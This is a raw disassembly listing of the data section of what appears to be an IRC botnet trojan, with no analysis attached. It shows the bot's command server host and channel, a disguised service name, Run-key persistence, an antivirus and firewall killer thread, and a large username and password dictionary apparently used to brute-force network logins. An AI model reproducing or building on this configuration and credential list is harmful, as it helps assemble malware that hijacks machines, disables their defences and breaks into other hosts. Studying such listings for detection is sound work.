'SetFilePointer',0 align 4 db 0EEh ; î db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 8Eh ; Ž db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 0FCh aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 2 dw 173h aGetlocaltime db 'GetLocalTime',0 align 2 dw 2A3h aQueryperform_1 db 'QueryPerformanceCounter',0 db 0A4h ; ¤ db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 dd 724600F8h, 694C6565h, 72617262h, 1590079h aGetenvironment db 'GetEnvironmentVariableW',0 db 16h db 2, 48h, 65h aApfree db 'apFree',0 align 4 db 10h db 2, 48h, 65h aApalloc db 'apAlloc',0 db 0A3h ; £ db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 389h aVirtualqueryex db 'VirtualQueryEx',0 align 4 db 0B8h ; ¸ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701C5h, 73795374h, 496D6574h, 6F666Eh, 6F4600F3h dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h dd 5670614Dh, 4F776569h, 6C694666h, 540065h aCreatefilemapp db 'CreateFileMappingA',0 align 4 db 1Fh db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 165h aGetfiletime db 'GetFileTime',0 db '¼',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 94h ; ” db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 275h aMultibytetowid db 'MultiByteToWideChar',0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 db 5Ah ; Z db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 291h aPeeknamedpipe db 'PeekNamedPipe',0 dw 178h aGetlogicaldr_0 db 'GetLogicalDrives',0 align 2 dw 204h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 4 dd 6548021Ah, 65527061h, 6F6C6C41h, 2D70063h, 556C7452h dd 6E69776Eh, 1E20064h aGettimezoneinf db 'GetTimeZoneInformation',0 align 4 dd 654701C8h, 73795374h, 546D6574h, 656D69h, 654701B7h dd 61745374h, 70757472h, 6F666E49h, 1100041h, 43746547h dd 616D6D6Fh, 694C646Eh, 41656Eh, 654701E8h, 72655674h dd 6E6F6973h, 1580000h aGetenvironme_0 db 'GetEnvironmentVariableA',0 dd 65480214h, 65447061h, 6F727473h, 2120079h, 70616548h dd 61657243h, 6574h, 69560383h, 61757472h, 6572466Ch, 3810065h dd 74726956h, 416C6175h, 636F6C6Ch, 2360000h, 61427349h dd 69725764h, 74506574h, 1040072h, 43746547h, 666E4950h dd 0FD006Fh, 41746547h, 5043h, 65470193h, 4D454F74h, 5043h dd 615202A7h, 45657369h, 70656378h, 6E6F6974h, 21C0000h dd 70616548h, 657A6953h, 2440000h, 614D434Ch, 72745370h dd 41676E69h, 2450000h, 614D434Ch, 72745370h, 57676E69h dd 36E0000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 dw 0F6h aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 0F7h ; ÷ align 2 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 155h aGetenvironme_1 db 'GetEnvironmentStrings',0 dw 157h aGetenvironme_2 db 'GetEnvironmentStringsW',0 align 4 db 24h ; $ db 3, 53h, 65h aThandlecount db 'tHandleCount',0 align 2 dw 1B9h aGetstdhandle db 'GetStdHandle',0 align 2 dw 166h aGetfiletype db 'GetFileType',0 db 37h ; 7 db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 aU_0 db 'î',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 db 0BAh ; º db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1BDh aGetstringtypew db 'GetStringTypeW',0 align 4 db 4Ah ; J db 3, 53h, 65h aTunhandledexce db 'tUnhandledExceptionFilter',0 dw 233h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 230h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 310h aSetendoffile db 'SetEndOfFile',0 align 2 db ':',0 aComparestringa db 'CompareStringA',0 align 4 db ';',0 aComparestringw db 'CompareStringW',0 align 2 dw 313h aSetenvironment db 'SetEnvironmentVariableA',0 aKernel32_dll db 'KERNEL32.dll',0 align 4 dd 0D2h dup(0) dword_429000 dd 0 ; DATA XREF: sub_41B784+1Fo dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset sub_40E6D3 dword_429014 dd 0 ; DATA XREF: sub_41B784+1Ao dword_429018 dd 0 ; DATA XREF: sub_41B784+10o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset sub_424752 dword_42902C dd 0 ; DATA XREF: sub_41B784:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset sub_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 0C8Bh ; DATA XREF: sub_401221+4A4r ; sub_401221+539r dword_429070 dd 0C8Bh ; DATA XREF: sub_401221+585r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: sub_401221+13Dr dword_429090 dd 1 ; DATA XREF: sub_401221:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 5 ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: sub_401221+5Do ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: sub_401221+490o ; sub_401221+52Ao aFaak db '#FAAK#',0 ; DATA XREF: sub_401221+4B0o ; sub_401221+540o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: sub_401221+4C7o ; sub_401221+552o align 4 byte_4290E4 db 73h ; DATA XREF: sub_401221:loc_401789r ; sub_401221+576o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: sub_401221+58Co align 10h aSaad__0 db 'saad.',0 ; DATA XREF: sub_401221+59Eo align 4 byte_429108 db 69h ; DATA XREF: sub_401221+143o ; sub_401221+167w ... db 75h, 61h, 6Ch dd 6470747Ah, 78652E74h, 65h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: sub_411C13+3Do aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: .packed:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_2 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd 0 dd offset byte_43D7E8 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_42949C dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aIntranet db 'intranet',0 ; DATA XREF: .packed:00429488o align 4 aLan db 'lan',0 ; DATA XREF: .packed:00429480o aMain db 'main',0 ; DATA XREF: .packed:0042947Co align 4 aWinpass db 'winpass',0 ; DATA XREF: .packed:00429478o aBlank db 'blank',0 ; DATA XREF: .packed:00429474o align 4 aOffice db 'office',0 ; DATA XREF: .packed:00429470o align 10h aControl db 'control',0 ; DATA XREF: .packed:0042946Co aXp db 'xp',0 ; DATA XREF: .packed:00429468o align 4 aNokia db 'nokia',0 ; DATA XREF: .packed:00429464o align 4 aHp db 'hp',0 ; DATA XREF: .packed:00429460o align 4 aSiemens db 'siemens',0 ; DATA XREF: .packed:0042945Co aCompaq db 'compaq',0 ; DATA XREF: .packed:00429458o align 4 aDell db 'dell',0 ; DATA XREF: .packed:00429454o align 10h aCisco db 'cisco',0 ; DATA XREF: .packed:00429450o align 4 aIbm db 'ibm',0 ; DATA XREF: .packed:0042944Co aOrainstall db 'orainstall',0 ; DATA XREF: .packed:00429444o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .packed:00429440o align 4 aSql db 'sql',0 ; DATA XREF: .packed:0042943Co aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo ; .packed:00429438o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .packed:00429434o align 4 aDb1 db 'db1',0 ; DATA XREF: .packed:0042942Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .packed:00429428o align 4 aData db 'data',0 ; DATA XREF: .packed:00429424o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .packed:00429420o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .packed:0042941Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: .packed:00429418o align 10h aAccess db 'access',0 ; DATA XREF: .packed:00429414o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .packed:0042940Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .packed:00429408o align 4 aDomain db 'domain',0 ; DATA XREF: .packed:00429404o align 4 aHello db 'hello',0 ; DATA XREF: .packed:00429400o align 4 aHell db 'hell',0 ; DATA XREF: .packed:004293FCo align 4 aGod db 'god',0 ; DATA XREF: .packed:004293F8o aSex db 'sex',0 ; DATA XREF: .packed:004293F4o ; .packed:off_4385B8o aSlut db 'slut',0 ; DATA XREF: .packed:004293F0o align 4 aBitch db 'bitch',0 ; DATA XREF: .packed:004293ECo align 4 aFuck db 'fuck',0 ; DATA XREF: .packed:004293E8o align 4 aExchange db 'exchange',0 ; DATA XREF: .packed:004293E4o align 4 aBackup db 'backup',0 ; DATA XREF: .packed:004293E0o align 10h aTechnical db 'technical',0 ; DATA XREF: .packed:004293DCo align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .packed:004293D8o align 4 aLogin db 'login',0 ; DATA XREF: .packed:004293D4o align 10h aMary db 'mary',0 ; DATA XREF: .packed:004293D0o align 4 aKatie db 'katie',0 ; DATA XREF: .packed:004293CCo align 10h aKate db 'kate',0 ; DATA XREF: .packed:004293C4o align 4 aGeorge db 'george',0 ; DATA XREF: .packed:004293C0o align 10h aEric db 'eric',0 ; DATA XREF: .packed:004293BCo align 4 aChris db 'chris',0 ; DATA XREF: .packed:004293B8o align 10h aIan db 'ian',0 ; DATA XREF: .packed:004293B4o aNeil db 'neil',0 ; DATA XREF: .packed:004293B0o align 4 aLee db 'lee',0 ; DATA XREF: .packed:004293ACo aBrian db 'brian',0 ; DATA XREF: .packed:004293A8o align 4 aSusan db 'susan',0 ; DATA XREF: .packed:004293A0o align 10h aSue db 'sue',0 ; DATA XREF: .packed:0042939Co aSam db 'sam',0 ; DATA XREF: .packed:00429398o aLuke db 'luke',0 ; DATA XREF: .packed:00429394o align 10h aPeter db 'peter',0 ; DATA XREF: .packed:00429390o ; .packed:004293A4o align 4 aJohn db 'john',0 ; DATA XREF: .packed:0042938Co align 10h aMike db 'mike',0 ; DATA XREF: .packed:00429388o align 4 aBill db 'bill',0 ; DATA XREF: .packed:00429384o align 10h aFred db 'fred',0 ; DATA XREF: .packed:00429380o align 4 aJoe db 'joe',0 ; DATA XREF: .packed:0042937Co aJen db 'jen',0 ; DATA XREF: .packed:00429378o aBob db 'bob',0 ; DATA XREF: .packed:00429374o ; .packed:004293C8o aQwe db 'qwe',0 ; DATA XREF: .packed:00429370o aZxc db 'zxc',0 ; DATA XREF: .packed:0042936Co aAsd db 'asd',0 ; DATA XREF: .packed:00429368o aQaz db 'qaz',0 ; DATA XREF: .packed:00429364o aWin2000 db 'win2000',0 ; DATA XREF: .packed:00429360o aWinnt db 'winnt',0 ; DATA XREF: .packed:0042935Co align 4 aWinxp db 'winxp',0 ; DATA XREF: .packed:00429358o align 4 aWin2k db 'win2k',0 ; DATA XREF: .packed:00429354o align 4 aWin98 db 'win98',0 ; DATA XREF: .packed:00429350o align 4 aWindows db 'windows',0 ; DATA XREF: .packed:0042934Co aOeminstall db 'oeminstall',0 ; DATA XREF: .packed:00429348o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .packed:00429344o aOem db 'oem',0 ; DATA XREF: .packed:00429340o aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o ; .packed:0042933Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .packed:00429338o align 10h aHome db 'home',0 ; DATA XREF: .packed:00429334o align 4 aAccounting db 'accounting',0 ; DATA XREF: .packed:00429330o align 4 aAccounts db 'accounts',0 ; DATA XREF: .packed:0042932Co align 10h aInternet db 'internet',0 ; DATA XREF: .packed:00429328o ; .packed:00429484o align 4 aWww db 'www',0 ; DATA XREF: .packed:00429324o aWeb db 'web',0 ; DATA XREF: .packed:00429320o aOutlook db 'outlook',0 ; DATA XREF: .packed:0042931Co aMail db 'mail',0 ; DATA XREF: .packed:00429318o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .packed:00429314o align 4 aNull_1 db 'null',0 ; DATA XREF: .packed:00429310o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo ; .packed:00429308o align 4 aSystem db 'system',0 ; DATA XREF: .packed:00429304o align 4 aChangeme db 'changeme',0 ; DATA XREF: .packed:004292FCo align 10h aLinux db 'linux',0 ; DATA XREF: .packed:004292F8o align 4 aUnix db 'unix',0 ; DATA XREF: .packed:004292F4o align 10h aDemo db 'demo',0 ; DATA XREF: .packed:004292F0o align 4 aNone db 'none',0 ; DATA XREF: .packed:004292ECo align 10h aTest db 'test',0 ; DATA XREF: .packed:004292E4o align 4 a2004 db '2004',0 ; DATA XREF: .packed:004292E0o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo ; .packed:004292DCo align 4 a2002 db '2002',0 ; DATA XREF: .packed:004292D8o align 10h a2001 db '2001',0 ; DATA XREF: .packed:004292D4o align 4 a2000 db '2000',0 ; DATA XREF: .packed:004292D0o align 10h a1234567890 db '1234567890',0 ; DATA XREF: .packed:004292CCo align 4 a123456789 db '123456789',0 ; DATA XREF: .packed:004292C8o align 4 a12345678 db '12345678',0 ; DATA XREF: .packed:004292C4o align 4 a1234567 db '1234567',0 ; DATA XREF: .packed:004292C0o a123456 db '123456',0 ; DATA XREF: .packed:004292BCo align 4 a12345 db '12345',0 ; DATA XREF: .packed:004292B8o align 4 a1234 db '1234',0 ; DATA XREF: .packed:004292B4o align 4 a123 db '123',0 ; DATA XREF: .packed:004292B0o a12 db '12',0 ; DATA XREF: .packed:004292ACo align 4 a1: ; DATA XREF: .packed:004292A8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: .packed:004292A4o aPwd db 'pwd',0 ; DATA XREF: .packed:004292A0o aPass_0 db 'pass',0 ; DATA XREF: .packed:0042929Co align 10h aPass1234 db 'pass1234',0 ; DATA XREF: .packed:00429298o align 4 aPasswd db 'passwd',0 ; DATA XREF: .packed:00429294o align 4 aPassword db 'password',0 ; DATA XREF: .packed:00429290o align 10h aPassword1 db 'password1',0 ; DATA XREF: .packed:0042928Co align 4 aAdm db 'adm',0 ; DATA XREF: .packed:00429288o aDb2 db 'db2',0 ; DATA XREF: .packed:00429264o ; .packed:00429430o aOracle db 'oracle',0 ; DATA XREF: .packed:00429260o ; .packed:00429448o align 4 aDba db 'dba',0 ; DATA XREF: .packed:0042925Co aDatabase db 'database',0 ; DATA XREF: .packed:00429258o ; .packed:00429410o align 4 aDefault db 'default',0 ; DATA XREF: .packed:00429254o ; .packed:00429300o aGuest_0 db 'guest',0 ; DATA XREF: .packed:00429250o ; .packed:004292E8o align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: .packed:0042924Co align 4 aTeacher db 'teacher',0 ; DATA XREF: .packed:00429248o ; .packed:00429490o aStudent db 'student',0 ; DATA XREF: .packed:00429244o ; .packed:0042948Co aOwner db 'owner',0 ; DATA XREF: .packed:00429240o align 10h aComputer db 'computer',0 ; DATA XREF: .packed:0042923Co align 4 aRoot db 'root',0 ; DATA XREF: .packed:00429238o ; .packed:0042930Co align 4 aStaff db 'staff',0 ; DATA XREF: .packed:00429234o ; .packed:00429494o align 4 aAdmin db 'admin',0 ; DATA XREF: .packed:00429230o ; .packed:00429284o align 4 aAdmins db 'admins',0 ; DATA XREF: .packed:0042922Co ; .packed:00429280o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .packed:00429228o ; .packed:0042927Co aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:00429224o ; .packed:00429278o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .packed:00429220o ; .packed:00429274o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .packed:0042921Co ; .packed:00429270o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .packed:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .packed:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .packed:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: .packed:off_429160o dword_4299A4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+46Bo aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_4299D8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_401221+420o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A04 db 2Dh ; - ; DATA XREF: sub_401221+3F3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A44 db 2Dh ; - ; DATA XREF: sub_401221+3A2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A68 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: sub_401221+364o dd 2E646574h, 0 dword_429A84 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_401221+28Fo dword_429A90 dd 255C7325h, 73h ; DATA XREF: sub_401221+189o ; sub_415A2F+7Eo ... dword_429A98 dd 73257325h, 0 ; DATA XREF: sub_401221+10Do ; sub_40F6B3+EAo ... unk_429AA0 db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 10h aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429B08 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429B28 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429B48 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 4 aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_429B9C db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 4 aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429C1C: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_429C20 db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 4 unk_429C44 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429C6C db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 10h unk_429C90 db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CB4 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429CD8 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429CFC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429D18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 unk_429D44 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D68 